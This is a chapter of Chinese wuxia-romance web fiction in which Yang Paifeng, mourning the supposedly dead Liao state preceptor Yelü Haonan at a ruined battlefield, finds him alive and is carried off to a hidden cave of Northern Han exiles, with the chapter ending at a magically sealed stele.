默认冷灰
24号文字
方正启体

1. 尤恐相逢是梦中

作者:叶倾风本书字数:K更新时间:
    天门阵废墟·六年后


    暴雨初歇,暮色如凝血,沉沉压在天门阵废墟的断壁残垣之上。焦土中斜插着锈蚀的杨家枪与辽刀,枪缨早已腐化成絮,刀柄上缠绕的皮革被雨水泡得发胀,露出底下黯沉的金属——分不清是宋军的制式还是辽国的弯刀。一截焦黑的旗杆斜刺向天空,半幅残破的“杨”字帅旗在湿冷的风中无力地耷拉着,边缘早已被战火燎成焦脆的卷边。


    腐木与白骨在泥泞中纠缠。杨排风的靴尖无意间踢到半块颅骨,那空洞的眼窝里积着浑浊的雨水,正直直望向灰蒙蒙的天空。她停了脚步,蹲下身,用冻得发红的手指将颅骨旁的几块碎骨拢了拢,堆成一个小小的坟冢。做完这一切,她才继续走向那截她惯常祭拜的残垣。


    空气中弥漫着铁锈、湿土与隐约腐臭的气息——那是深埋地底的尸骸被连日暴雨浸泡后,从土壤缝隙中渗出的死亡味道,甜腻中带着令人作呕的腥气。一袭洗至发白、边缘已磨出毛边的素麻衣裙紧紧裹在她身上,被雨水浸透后贴在单薄的肩背上,勾勒出过于清瘦的轮廓。这衣裳是六年前她离开天波府时带的最后一件常服,如今袖口、肘部都已打了补丁,针脚粗疏,是她自己笨拙地缝上的。


    她跪在那截倾倒的、刻着半道焦黑符文的残垣边——这是当年天门阵的一处阵眼石。以树枝笨拙地拨动面前那堆微弱的火堆,柴薪太湿,火苗挣扎着,时明时灭。她从怀里掏出一卷抄好的《往生咒》,纸张边缘已被怀中的体温焐得微潮。她小心地撕下一页,投入火中。


    纸张蜷曲,化作黑色的蝴蝶,被山风卷起,混着未干的雨滴,黏在她湿透的衣襟和散乱的鬓发上。她似乎毫无所觉,只是怔怔地望着火光。火光跃动间,照亮她瘦削的侧脸:昔日圆润饱满、总被佘太君笑称“有福气”的脸颊,如今凹陷下去,颧骨突出,下颌线条尖得令人心惊。唯有那一双眸子,依旧灼亮如寒夜星辰——只是那光芒深处沉淀着六年风霜也未能化开的疲惫,与一种近乎麻木的坚忍。那是将全部情绪:震惊、剧痛、怨恨、思念、以及那不该存在却疯狂滋长的眷恋,死死压在心底最深处,用一层又一层冰冷外壳包裹后,仅剩的、支撑她活下去的东西。


    “皓南……”她开口,嗓音沙哑得厉害,似粗砺的砂纸一遍遍磨过干涸的喉间,每个字都带着血气。这声音如今连她自己都觉得陌生,再不是当年天波府里那个嗓门清亮、笑起来能惊飞檐下雀鸟的烧火丫头杨排风了。


    “今日是你的忌日……你若在天有灵,庇佑我们的孩儿平安长大,无病无灾。”


    她顿了顿,深吸一口气,冰凉的空气刺得肺叶生疼,也让她混沌的头脑清醒了一瞬:


    “你的罪业……我日日抄经,焚于阵前。”她目光扫过周围焦黑的土地,这里每一寸都浸透了血,有宋军的,有辽兵的,也有无数被天门阵吞噬的无辜生灵的。“只盼能为你消弭万一,助你脱离无边苦海,早登彼岸……” 这些话她说了六年,从一开始的泣不成声,到后来的嘶哑痛哭,再到如今的平静麻木。唯有那微微颤抖、指节泛白的指尖,泄露着心底从未平息的惊涛骇浪。


    六年前,他气息奄奄,握着她的手,将这颗离体后以秘法封存、依旧微微温热搏动的心脏,塞进她手里。那时他眼神复杂得她看不懂,有决绝,有疯狂,有一丝她不愿深究的、或许是错觉的温柔,最后都化为一句话:“……带走。别让任何人知道,尤其是……辽人。”


    她真的带走了。藏在最隐秘的地方,藏了六年。连抚养她长大的佘太君,连情同姐妹的穆桂英,她都没说。这是她与他之间,最后一个、也是最沉重不堪的秘密。


    “……这颗心,”她的声音低下去,几不可闻,却字字清晰,带着一种决绝的温柔,仿佛在对着虚空中的某个影子低语,“我收着了。谁也没给,谁也不知道。我把它……藏得很好。”


    她抬起眼,望向废墟深处翻滚的浓雾。六年来,她总是恍惚觉得,那浓雾里会走出一个人,带着那身熟悉的墨色辽袍,用那双深邃如寒潭的眼睛看着她,讥诮地叫她一声“杨姑娘”。可每次,都只有风声呜咽,如鬼哭。


    “待孩儿懂事,我总得让他知道,他爹爹……”她喉头哽住,半晌,才艰难地继续,“并非生来便是魔头,并非……全然无情。”


    最后几字含在喉间,被强行咽下,化作一声压抑到极致的哽咽,在喉头滚动,灼得她眼眶发烫,却没有泪——六年来,泪早已流干了。只有无尽的、啃噬五脏六腑的酸楚。


    这六年来,她守着这个秘密,如同守着地狱的入口。守着那个一出生便被神出鬼没的师叔凌霄子悄然抱走、她仅于襁褓中见过寥寥数面、连名字都未能亲自取下的孩子。师叔只留给她一句话:“此子命格太硬,煞气缠身,留在你身边,于他于你皆是劫难。待机缘至,自有相见之日。” 她连孩子的眉眼都没看清,只记得那皱巴巴的小脸上,眉心似有一点极淡的、朱砂般的红痕。


    在“忠君爱国、抚养杨家将遗孤,她如今名义上是杨家收养的孤女”的明面责任,与内心深处对那个敌国枭雄难以磨灭、也无法向任何人言说的复杂情感之间,日夜撕扯,血肉模糊。


    对耶律皓南(或者说,刘皓南),她恨。恨他绝情绝义,为炼那伤天害理的天门阵不惜自剜心窍,置苍生于水火,更将她那点可怜的情愫与信任,践踏于阴谋算计之中,成为他棋局里一枚无足轻重的棋子。这恨,支撑着她度过无数个觉得撑不下去的、被噩梦惊醒的日夜。


    可恨的背面,是什么?是爱吗?她不敢想,也不愿承认。可那是无数个深夜里,无法自控地忆起一线天下山洞中,那个重伤濒死、褪去所有阴鸷伪装与辽国国师光环,苍白脆弱得像个迷路少年,曾对她流露出一丝真实无措与无言温情的他;是生死关头,他复杂难辨、似乎藏着千言万语的眼神;是那些短暂交汇、摒除国仇家恨时,灵魂深处莫名的震颤与共鸣。


    这种爱不得、恨不得、忘不能、又抛不下的煎熬,早已刻入骨血,随着每一次呼吸啃噬着她,将她从当年那个明朗飒爽、敢爱敢恨的烧火丫头,磨成了如今这副沉默坚硬、心如枯井又暗藏余烬、游魂般活在过去的模样。


    浓雾深处,传来了极其轻微的、靴底碾过碎骨的声响。


    一步,一步,缓慢,沉凝,带着一种刻意控制的力道,却每一步都踏在人心尖上。


    杨排风拨动火堆的树枝,骤然僵在半空。不是风。这脚步声……太清晰,太真实。


    她后背的寒毛瞬间竖了起来。


    一道挺拔如孤松的身影,缓步自翻涌的灰白色雾气中踱出。暮色晦暗,却依旧能看清那人面容,肤色是久不见天日的苍白,却并非病态憔悴,反而更衬得五官深邃如刻,眉峰如敛聚的寒刃,薄唇紧抿,毫无血色。一袭墨色辽国左衽锦袍,料子华贵,在暮色中流淌着幽暗的光泽,襟口与袖缘以银线绣着繁复的契丹云纹与狼首图腾,在渐浓的夜色中泛着冰冷的、不属于人间的微光。腰间蹀躞带空悬着数枚鎏金铜钩,随着他步伐轻轻晃动。墨发以一根简单的乌木簪束在脑后,几缕散发垂在颊边。


    正是“已死”六年、坟前青草已枯荣六载、连大宋朝廷都已确认其身亡的辽国国师,耶律皓南。也是她深埋心底的那个,刘皓南。


    他看起来……几乎没变。不,变了。眼神更深,更沉,那里面沉淀的东西,比六年前更加厚重晦涩,仿佛蕴藏着无尽的风暴与寒冰。只是脸色过于苍白,唇上毫无血色,在暮色中像一尊精心雕琢却失了生气的玉像。


    当年天门阵破,他遭阵法反噬,心脉尽碎,辽国对外宣称尸骨无存,实则是辽国萧太后惜才,更忌惮他一身后患无穷的修为与对宋的深刻了解,不惜动用国本,请出幽居雪山之巅、已近百岁高龄的辽国大巫,以秘法为他强行续命。大巫取一颗自幼以秘药喂养、心窍剔透的“童子心”,施以逆天换心之术,嵌入他胸腔,替代那枚为控阵而自毁的原心。


    此法虽保他形貌如初,性命无虞,甚至借辽国势力,暗中掌控更多权柄,隐为萧太后幕后最锋利的刀。但那天门阵反噬之力,阴毒无比,早已侵入魂魄,又岂是更换一颗心便能彻底根除?那反噬如附骨之疽,日夜不休地啃噬着他的经脉与神智,深藏于他看似平静的眼底那抹挥之不去的、幽暗如渊的痛楚与暴戾之中。这六年,他看似活着,实则每一日都在忍受常人难以想象的煎熬,性格也因这无休止的痛苦与漫长的筹谋隐忍,变得愈发偏执、阴郁、难以捉摸。


    他逼近两步,靴底毫不留情地碾过一截半露在泥土外的、颜色发灰的臂骨,发出令人牙酸的细微碎裂声。他在她身后三尺处站定,目光落在她僵直的、微微颤抖的背脊,和那堆可怜的火苗上。


    寂静,只有山风呼啸,卷动经卷灰烬,发出沙沙的呜咽。


    然后他开口,嗓音冷硬如数九寒天深埋地底的玄铁,每一个字都带着冰碴,却又因某种极力压抑的情绪而微微发颤:


    “哦?”


    仅仅一个字,已让杨排风全身血液瞬间冻结!这声音……是梦吗?是这六年来无数次纠缠她的幻觉,终于变成了最真实的梦魇?


    “不知你口中这孩儿,” 耶律皓南缓缓地、一字一顿地问,语气平静得诡异,却蕴含着山雨欲来的狂暴,每个字都像重锤砸在她心上,“的爹爹……究竟,是,谁?”


    “哗啦——!”


    杨排风怀中紧抱的、尚未焚尽的经卷,因她全身剧震而脱手,散落一地泥泞。她像是被无形的巨力狠狠击中,霍然转身!


    动作太猛,带倒了身后残存的半截砖石,尘土簌簌落下,迷了眼睛。她也顾不上了。


    四目相对。


    刹那间,杨排风眼中翻涌起滔天巨浪般的情绪,复杂激烈得让她几乎窒息:


    先是见鬼般的、纯粹的惊骇与难以置信,瞳孔骤然收缩如针尖,脸上血色褪尽,比身上的素麻衣裙还要苍白。她甚至下意识地微微张口,却发不出任何声音,仿佛连呼吸都被这突如其来的、活生生的身影扼住。他没死?他怎么会没死?这六年……这六年她所有的痛苦、挣扎、祭奠,算什么?


    紧接着,那惊骇被熊熊燃烧的、压抑了六年的愤怒与委屈取代!那愤怒灼热、猛烈,如同地底压抑已久的岩浆终于寻到出口,从她眼底最深处“轰”地迸发出来,几乎要化为实质的火焰,将眼前这个“死而复生”、将她六年人生搅得天翻地覆、此刻还敢这般质问她的男人焚为灰烬!六年她以为的死别,六年煎熬,六年独自背负的秘密、思念、怨恨、与对孩子的担忧……皆因他而起!他凭什么这样出现?凭什么用这种语气问她?


    然而,那愤怒的烈焰并未持续太久。因为在他那双深不见底、翻涌着可怕风暴的眼眸注视下,一种更深层的恐惧倏然攫住了她——他听到了!他听到了关于“孩儿”的话!不,不能让他知道!绝不能!


    最终,所有激烈翻腾的情绪,都被一种本能的、母兽护崽般的决绝强行压下,凝冻成两道冰刃般锋利、也冰刃般寒冷戒备的眸光。她周身肌肉在瞬间绷紧,如同蓄势待发的母豹,每一根神经都拉响最高级别的警报,进入战斗状态。那只刚刚还在拨弄火堆、略显无力的手,已悄然握住了藏在袖中的短刀刀柄——那是她六年来从不离身的习惯,此刻掌心一片冰凉的汗湿。


    短短一息之间,情绪数度剧烈转换,最终归于一片死寂的冰冷防御。


    “你听错了。” 她挺直了仿佛下一秒就要折断的脊背,声音是从未有过的冷硬,每一个字都像从冰窟里捞出来的石子,砸在地上。指甲深深掐入掌心,刺痛传来,让她保持着一线清明。有温热的液体渗出,是血,混着泥水,从指缝滴落,她却浑然不觉。


    “此地,只有祭奠亡夫的未亡人,” 她迎着他深不可测、仿佛能洞穿一切的目光,毫不退让,重复道,仿佛在说服自己,也像是在斩断最后一丝妄念,“没有什么孩儿。”


    “亡夫?” 耶律皓南低低重复这两个字,忽然轻笑一声,那笑声里没有半分暖意,只有无尽的嘲讽与某种即将失控的暴风雨前兆,在寂静的废墟中显得格外刺耳。“未亡人?” 他又重复,语气玩味,眼神却越来越冷,冷得让她骨缝发寒。


    他猛地踏前一步,身形如鬼魅,快得杨排风根本来不及反应!一只冰冷如铁钳、带着薄茧的手,已狠狠扣住了她纤细的手腕!力道之大,几乎要捏碎她的骨节!那刺骨的寒意与尖锐的疼痛,让她闷哼一声,额角瞬间渗出冷汗。


    六年!整整六年!他隐于暗处,忍受换心后的排斥剧痛与反噬之苦,运筹帷幄,以为她或许会在某个角落为他神伤,哪怕只是恨,也是将他放在心上。他甚至暗中留意过她的消息,知道她过得不好,心中曾有过一丝扭曲的慰藉与痛楚。可刚才他听到了什么?孩儿?她竟有了别人的孩儿?还口口声声祭奠“亡夫”?哪个“亡夫”?她嫁人了?!”


    狂喜于那一声“孩儿”可能意味着自己竟有血脉存世的震撼,与剧痛于她可能早已琵琶别抱,甚至与他人孕育子嗣的“背叛”感,如同最烈的毒药与最猛的火焰交织在一起,在他胸中轰然炸开!烧毁了他最后一丝引而不发的理智,烧得他双目隐隐泛红,口不择言。那颗强换来的“童子心”在胸腔里疯狂鼓噪,带起一阵闷痛,更添烦躁。


    “六年!我当你为我肝肠寸断,日夜难安……” 他声音嘶哑,带着一种自己都未察觉的、扭曲的痛楚与疯狂,猛地将她往自己身前狠狠一拽!两人气息几乎相撞,他死死盯着她的眼睛,仿佛要看到她的灵魂深处,每一个字都像是从齿缝间迸出来的毒箭,淬着嫉妒与暴怒:


    “原来你早已……早已与他人珠胎暗结!说!”


    他另一只手也抬起来,捏住她的下巴,强迫她抬头,力道不容抗拒:


    “那野种是谁的?!”


    “野种”二字,如同滚烫的沸油,狠狠泼在杨排风早已千疮百孔的心上!也点燃了她最后的理智!


    “啊——!” 她发出一声短促的、不似人声的尖叫,不知哪来的力气,猛地甩开他钳制的手,踉跄着后退数步,背脊重重撞在冰冷的残垣上,震落一片灰尘。被捏过的手腕和下巴火辣辣地疼,可都比不上心口的剧痛。


    泪水,毫无征兆地,混着脸上未干的雨水,滚滚而落。不是啜泣,是崩溃般的奔流。六年来的委屈、恐惧、孤独、愤怒、被误解的刺痛、以及对他“死而复生”却如此恶劣践踏她情感的滔天怨怼,在这一刻彻底决堤!


    “耶律皓南!” 她嘶声喊出这个名字,声音破碎不堪,却带着劈开一切伪装的锋利,在废墟中回荡,“当年是你!是你弃情绝义!是你为炼邪阵自绝后路!是你将我们之间那点可怜的情分弃如敝履!如今……如今你又有何颜面来质问我?!你既选假死脱身,让我……让我饱尝六年生离之苦,夜夜难眠,日日煎熬……你此刻现身作甚?!来看我笑话吗?!来确认我是否为你痛不欲生吗?!”


    她字字如刀,劈开了自己六年来辛苦维持的平静表象,也劈开了两人之间那层自欺欺人的迷雾。那些压抑的、无处诉说的痛,此刻找到了宣泄的出口:


    “我告诉你!我没有儿子!你听清楚了!我没有——!!!”


    最后一声,已是嘶吼,在山谷废墟间回荡,凄厉如杜宇啼血,耗尽了她所有的力气。她靠着残垣滑坐下去,浑身发抖,泪水模糊了视线,只看到那个墨色的身影立在暮色中,一动不动。


    耶律皓南被她这激烈的反应和泣血的控诉斥得浑身一震,竟不由自主地踉跄着后退了半步,面上最后一丝血色也尽数褪去,苍白如纸。她眼中那深切的痛苦、恨意、以及某种更深沉的绝望,如此真实,如此猛烈,撞得他心口那处新旧交织的伤疤剧痛难当,那颗“童子心”疯狂擂动,几乎要炸开。


    他想说,这六年,他虽借辽国之势暗中布局,看似掌控一切,实则日夜承受换心排斥与阵法反噬锥心蚀骨之痛,生不如死。辽国大巫的秘术可为他强行续命,却难补他因剜心、反噬而碎裂的心魂,更难让他如常人般安稳度日。他想说,他并非刻意“假死”弃她,当年天门阵反噬,他确实濒死,是萧太后强行施救。他想说,他无时无刻不在关注她的消息,知道她每年今日都来此祭奠,知道她过得不好,他比她更痛。


    他甚至无法坦言,那个孩子,一出生便被神出鬼没的师叔凌霄子带走——那位看似游戏人间、万事不萦于心,道法修为却更胜其师陈希夷的奇人,对他这个性子偏激执拗的师侄,看似严厉呵斥、放任不管,实则暗护至极。凌霄子带走孩子时,只留给他一句偈语:“此子命格非凡,武曲临凡,然煞气缠身,与你一般,皆是不容于世的孤星。留在你身边,恐遭天妒,亦会成你心魔。待你二人孽缘了结,心魔得渡,自有父子相见之日。” 这些话,在喉头翻滚,却一句也吐不出。北汉皇孙残存的自尊,辽国国师的威仪与多疑,六年孤绝隐忍、与虎谋皮铸就的硬壳,让他无法在她面前流露半分脆弱与恳求,无法低头解释,更无法承认自己这六年来,同样在炼狱中煎熬,而得知可能有血脉存世时,那瞬间击穿灵魂的震撼与悸动。


    而此刻,盛怒与以为被欺骗的狂怒,混合着对那未知“情敌”的暴戾嫉妒,以及对“自己血脉可能流落在外、甚至被唤作野种”的蛮横占有欲与刺痛,彻底冲垮了他本就因反噬而摇摇欲坠的理智。


    “你撒谎!” 他低吼一声,眼中血色更浓,不再听她任何言语,猛地再次欺身上前!指尖疾如闪电,带着凌厉的劲风,连点她身上数处大穴!


    杨排风武功本就不及他,方才情绪激动之下更无防备,穴道被制,瞬间动弹不得,连声音也发不出,只有一双泪眼死死瞪着他,里面是滔天的恨、绝望,还有一丝他看不懂的、深切的悲哀。


    耶律皓南一把将她打横抱起,卷入怀中。怀中身躯轻得惊人,还在无法控制地微微颤抖。他不再看这令人心碎的废墟,不再看那堆将熄的火、散落的经卷,转身投入身后愈发浓重的、仿佛能吞噬一切的雾气之中。墨色袍角翻飞,很快与暮色融为一体。


    废墟重归死寂。只有那堆将熄未熄的火堆,余烬在渐密的雨丝中明明灭灭,苟延残喘,一如二人之间,剪不断、理还乱,掺杂着国仇、家恨、情孽、血缘、误解与无法磨灭的吸引,早已深入骨髓、痛彻心扉的血泪纠缠。


    而这纠缠,随着他的“复活”与“孩儿”秘密的揭开,才刚刚掀起更加惊心动魄的序幕。


    ______


    山洞幽深


    岩壁常年渗着水,凝结成湿冷的水光,在跳动的火把映照下,反射出幽幽的、不安定的光芒。这处位于太行山深处的天然洞窟,被人工拓宽修整,虽显粗糙,却别有章法。洞内约容纳了十余道身影,有男有女,有老有少,个个瘦削,面有菜色,衣衫是多次缝补的粗布,袖口、肘部磨出了毛边,甚至打着不同颜色的补丁。但无一例外,每个人的脊梁都挺得笔直,如同岩洞中不屈的石笋。他们的眼神,在跃动的火光映照下,并无普通流亡者的惶惑或麻木,反而凝着一簇沉默的、不灭的火——那是亡国之人将骄傲与仇恨刻入骨髓后,淬炼出的硬骨与执念。


    他们是北汉遗民。


    当年,宋太宗赵光义御驾亲征,破北汉国都晋阳,为绝后患,下令焚毁宫室,将象征刘氏王权的建筑付之一炬,更对北汉宗亲进行了残酷的清洗,其手段酷烈到连奉命修史的宋廷史官都不得不含糊其辞、讳莫如深。这些人,或是侥幸逃脱的远支宗亲,或是誓死不降的旧臣家将,在国破家亡的滔天洪流中,成了无处可归的浮萍。他们辗转流亡,最终藏身这荒山野岭的洞穴,一藏便是十数年。


    洞中陈设简陋至极,却处处透着诡异的“讲究”:中央以青石垒砌的平台,高约三尺,形制俨然是缩小的御阶;散落各处的石墩,摆放的位置依稀可见旧时朝堂分列的影子;甚至角落里堆放杂物的方式,都隐隐遵循着某种古老的礼制。他们守着这些早已失去实际意义的规矩,仿佛如此,便能对抗时间的侵蚀,便能在这不见天日的洞穴中,维系那早已消散在历史烟尘里的“北汉”魂脉,等待渺茫的复国之日。


    耶律皓南——或者说,刘皓南,踉跄着跌坐在中央石榻上。那石榻冰凉粗糙,铺着一层陈旧但干净的兽皮。刚一坐下,他猛地俯身,剧烈咳嗽起来,肩膀耸动,仿佛要将五脏六腑都咳出来。紧接着,“哇”地一声,一大口浓黑如墨、粘稠得惊人的血,从他口中喷出,尽数溅在胸前苍白的衣襟上,瞬间泅开一大片触目惊心的暗红,散发出浓烈腥咸的气味。


    “少主!” 几名遗民惊呼上前,脸上写满担忧与痛惜。


    杨排风原本因被他强行掳来、制住穴道而燃起的熊熊愤恨,在看见这口黑血、闻到那异常腥气的瞬间,被更强烈的惊恐与一种说不清道不明的揪心撕得粉碎!穴道方才在途中已被他解开部分,至少能动能言。她几乎是下意识地扑上前,顾不上什么男女之防、国仇家恨,伸手扶住了他摇摇欲坠、突然显得异常脆弱的身形。


    指尖触及他冰冷彻骨、皮肤下却仿佛有滚烫岩浆在奔流冲撞的腕骨——那是天门阵反噬的阴毒之力与他体内强行压制它的真气,以及那颗排斥的“童子心”,在激烈交锋的余波,凶险万分,让他整个人如同一个随时会炸开的火炉,外表却冰冷如尸。


    “你…你这六年,” 她声音抖得不成样子,几乎语无伦次,抬头看向他惨白如金纸、冷汗涔涔、嘴唇泛着青紫的脸,那双总是深邃锐利的眼睛此刻因痛苦而有些失焦,“到底……到底是怎么过的?你的身体……怎么会这样?” 她想起六年前,天门阵破后他奄奄一息的模样,难道……难道他根本没真正好过?


    耶律皓南倔强地别过头,避开她过于直接、盛满震惊与……关切?的目光。他抬手用袖口狠狠抹去唇边残留的血迹,扯出一个冰冷而虚弱、近乎自嘲的笑,试图推开她:“不劳杨姑娘费心……死不了。”


    可这一次,他连推开她的力气都显得虚浮绵软,手腕被她紧紧攥住,竟似抓住了一截在寒风中即将燃尽的残烛,冰冷,脆弱,颤抖,仿佛下一秒就会彻底熄灭,化为灰烬。这个认知让杨排风的心狠狠一抽。


    一位须发皆白、脸上皱纹如刀刻斧凿、但眼神依旧清亮有神的老者,蹒跚着上前。他是北汉旧臣,曾官至户部侍郎,亲眼见证过少主的童年,也经历了国破时的惨烈与之后漫长的流亡。他望着耶律皓南,又看看惊慌失措、脸色不比少主好多少的杨排风,重重叹息一声,嗓音沙哑粗粝,如同两块砾石在相互摩擦,却带着一种沉淀了岁月的沉重:


    “杨姑娘……” 他缓缓开口,洞中其他遗民也默默看了过来,火光在他们饱经风霜、写满沧桑的脸上投下沉重的、晃动的阴影,气氛凝重得让人窒息。他们看杨排风的眼神复杂,有探究,有警惕,也有一丝基于她方才本能反应的缓和。


    “少主他……这六年来,何曾有过一日安生?” 老者声音低沉,每一个字都浸透了血泪与无奈,“天门阵反噬,阴毒入髓,如跗骨之蛆,日夜不休。初时只是经脉滞涩,功力时强时弱……到后来,五脏俱损,气血逆行,阴阳失调。每逢阴雨雷电,或情绪激荡,便如万蚁噬心,痛不欲生,呕血如墨……全凭辽国巫医的虎狼之药与少主自身深厚功力强压着。”


    他目光缓缓扫过洞中每一个沉默的遗民,众人皆默默垂首,有人紧紧攥拳,有人偷偷抹了下眼角。这些都是跟随少主、将复国执念与身家性命都系于他一身的人。


    “全凭着一口……复国雪耻的意志撑着,凭着对萧太后、对辽国那些时刻提防、利用他之人的恨,凭着对我们这些老弱残兵、前朝遗民的一丝责任……少主他,才能吊着这口气,活到今日啊!” 老者声音哽咽,满是痛心,“可那终究是外力强续的命,是借来的心……与少主原本的体质血脉格格不入,日夜损耗着他的本源生机。这般活着,实则是另一种酷刑啊!”


    杨排风愣在原地,扶着他的手不可抑制地微微颤抖。她也是北汉遗民。虽在两岁稚龄便因战乱与家人离散,被杨家收养,对故国的记忆模糊得只剩几个飘渺的残影,对“刘”姓的认同也早已被“杨排风”这个名字和杨家的恩情覆盖。但血脉深处,那属于北汉刘氏的一缕微薄共鸣,在此刻被老者的话语、被洞中这些衣衫褴褛却脊梁挺直、眼中燃着不灭火焰的同族,狠狠触动。看着石榻上这个强撑傲骨、却吐血不止、苍白脆弱得仿佛随时会碎裂的男人,想到他这六年竟是这样过来的……


    一股极其复杂的痛楚,猛地攫住了她的心脏!那痛楚里,有对故国凋零的悲悯,有对同族流离的哀伤,有对耶律皓南(刘皓南)这般惨状的震惊、难以置信,与……连她自己都未曾察觉、也不愿承认的、细密的抽痛与怜惜。她忽然想起,刚才他质问“野种”时,眼中除了暴怒,是否也有一闪而过的、被背叛的刺痛?就像当年,她以为被他彻底抛弃时一样?


    国仇家恨的壁垒,在此刻,被更原始的血脉共鸣、最基本的恻隐,以及那些被强行压抑、却从未消失的复杂情愫,撞出了一丝裂缝。火光在她眼中跳动,映出挣扎与混乱。


    她看向耶律皓南的眼神复杂到了极点,愤怒未消,戒备仍在,却不可控制地渗入了震惊、茫然,与一丝连她自己都未意识到的柔软。声音不由地放软,带着不易察觉的颤抖和急切,几乎脱口而出:


    “怎样才能救你?是不是……是不是要换回你原来的心?” 她想起师叔凌霄子当年带走孩子时,意味深长地提过一句“心不归位,神魂难安”,一个模糊却惊人的念头划过脑海——难道师叔将他的心密存,便是一线生机?


    耶律皓南身体剧震,猝然转过头,深不见底的眼眸对上了她。那里面翻涌着剧烈的震惊、狼狈,一丝被彻底看穿的慌乱,以及更深沉的、难以言喻的波动。他无法否认——那颗被辽国大巫强行植入的“童子心”,虽然暂时保住了他的性命,让他得以苟延残喘,暗中布局,实则如同最沉重的枷锁与毒瘤,不仅禁锢了他大半修为,更与他自身血脉神魂格格不入,日夜排斥,损耗着他的本源生机,让他时刻活在反噬与排异的双重痛苦中。唯有换回原本属于他的、与他神魂血脉完全相融的那颗心,才有望真正拔除反噬根源,修复创伤,获得新生。


    他内心震动于她的敏锐——她竟能一语道破关键!更震动于她这句话里,那丝不容错辨的、残存的关切与急迫。这让他死寂冰冷、被恨与执念填塞了六年的心湖,骤然被投下一颗巨石,荡开剧烈而陌生的涟漪。她……还在意他的死活?


    但,北汉皇孙残存的高傲,辽国国师浸淫已久的阴沉多疑,六年孤绝隐忍、与虎谋皮铸就的硬壳,让他无法在她面前流露半分脆弱、恳求与解释。他死死抿着唇,下颌线条绷紧,别过脸,避开了她过于清澈、也过于锐利、仿佛能照见他所有不堪与痛苦的目光。喉结上下剧烈滚动了几下,仿佛吞咽着无数难以出口的话语,最终,却只是化作一片更加沉重、窒息的沉默。


    这沉默,在摇曳的火光与众人凝视下,在杨排风那双渐渐了然的泪眼中,已然是无声的、最清晰的默认。


    杨排风看懂了他的沉默,心头猛地一沉,像被一只冰冷的手攥住,随即又涌起一股难以言喻的酸楚、决绝,与一丝渺茫的希望。她慢慢松开了扶着他的手,退后一步,站直了身体。素白的衣裙在昏暗中显得格外单薄脆弱,背脊却挺得笔直,如同风中芦苇,柔韧而不折。


    洞中一片寂静,只有火把燃烧的噼啪声,岩壁渗水的滴答声,以及众人压抑的呼吸声。所有的目光都聚焦在这两人身上,空气中弥漫着紧张、期待与未知的沉重。


    ______


    大相国寺后山·古塔禁地


    暮色沉甸甸地压下来,将整个后山笼罩在一片青灰色的、粘稠的寂静之中。那座不知建于何年何月、传闻镇着前朝某位高僧舍利的古塔,塔身严重倾斜,巨大的阴影如一头沉默的、受伤的巨兽,匍匐在荒草丛生的坡地上。塔身砖石斑驳,爬满了深绿的苔藓和枯黑的藤蔓,最高几层已然坍塌,露出内部黑黢黢的空洞,在暮色中像巨兽被挖去了内脏后张开的、绝望的嘴。


    杨排风独自立于一方青苔斑驳、半截埋入土中的石碑前。石碑材质非金非玉,触手冰凉沁骨,上面字迹早已被风雨侵蚀得模糊难辨,唯有正中两个斗大的古篆,因雕刻极深,依稀可认出是“舍身”。此刻,那两个字在愈发黯淡的天光下,透着一股不祥的、沉甸甸的,仿佛以生命为代价的气息。


    她的指尖无意识地攥紧了袖口,粗糙的布料摩擦着皮肤,带来一丝微弱的真实感,抵御着心底不断上涌的寒意。她盯着那“舍身”二字,目光仿佛被钉住了,声音低得几乎要碎在穿过古塔残垣、呜咽如泣的风里:


    “东西……就在下面。” 她顿了顿,喉头干涩发紧,每一个字都吐得艰难,“你自己…好自为之。” 说完,立刻紧紧闭上了嘴,仿佛怕泄露更多情绪。


    她没有看身侧的人,也没有任何多余的叮嘱、劝诫或疑问。所有的担忧、恐惧、挣扎、还有那丝可耻的期待,都被她死死压在平静到近乎麻木的表象之下,只余下这干巴巴的、近乎冷酷的一句。仿佛多说一个字,那勉强维持的冷静就会彻底崩裂,让她在他面前暴露出所有软弱的牵挂。


    耶律皓南站在她身后三步之外,身披一件毫不起眼的灰褐色粗麻斗篷,宽大的帽檐低压,遮去了他大半张面容,只露出线条冷硬、苍白如雪的下颌和紧抿得失去血色的薄唇。唯有当山风骤然卷起,掀起斗篷一角时,才能隐约窥见内里一丝墨色辽锦的暗纹,华贵而低调,与他此刻落魄隐忍的伪装格格不入,也昭示着他身份与处境的双重性。


    他步履稳沉,向前踏出一步,靴子踩在湿滑的苔藓上,没有发出半点多余声响。他在石碑前站定,没有立刻动作,只是静静地看了那石碑片刻,目光幽深复杂,仿佛在透过石碑,与某个看不见的、游戏人间的存在交流,嘴角几不可察地抽动了一下,似是无奈,又似苦笑。


    然后,他缓缓抬起右手,在杨排风紧张的注视下,屈起食指,以指关节,并未运力,只是如同叩门般,轻轻叩向石碑正中“舍身”二字的交接处。


    “笃。”


    一声轻响,在寂静的暮色中格外清晰,甚至带着点悠然的回音。


    下一瞬——


    “嗡——!”


    石碑猛地一震!并非地动山摇,而是某种灵性的震颤。以他指尖落点为中心,一圈繁复炫目、充满道韵却又透着一丝顽皮跳脱之意的金色符文,骤然亮起!那光芒并不刺眼,却带着一种直透灵魂的威严与浩瀚,瞬间照亮了周围数丈之地,也将耶律皓南彻底笼罩其中。符文如活过来的金色小蛇,灵动非凡,顺着他叩击的指尖,欢快地窜入他的经脉!


    “唔!” 耶律皓南闷哼一声,显然没料到“敲门”的动静这么大,浑身剧颤,脸色瞬间又白了几分,单膝一软,几乎要跪倒在地!一丝鲜红的血线,从他紧抿的唇角缓缓逸出,滴落在青苔上。


    然而,他眼中闪过的,却不是被袭击的愤怒或痛苦,而是一种极其复杂的、近乎哭笑不得的波澜,甚至还掺杂着一丝“果然如此”的无奈与了然,以及深藏的、对施术者任性作风的头痛。


    他抬手,用拇指指腹随意抹去唇边的血,盯着那兀自流转不息、金光灿灿、仿佛在得意洋洋炫耀的符文,低低地、近乎叹息地笑了一声,那笑声里竟有几分罕见的、近乎晚辈对顽劣长辈的纵容与没好气:


    “师叔啊师叔……” 他摇了摇头,语气是杨排风从未听过的微妙,“‘小子,躲够了就自己滚过来拿,别磨磨唧唧跟个大姑娘似的’……你这‘欢迎’方式,还真是……”


    他顿了顿,似乎在想一个合适的词来形容这看似厉害、实则透着一股戏谑捉弄意味的禁制,最终化作一声不知是无奈还是佩服的轻笑:


    “一如既往的,别出心裁,不客气。”


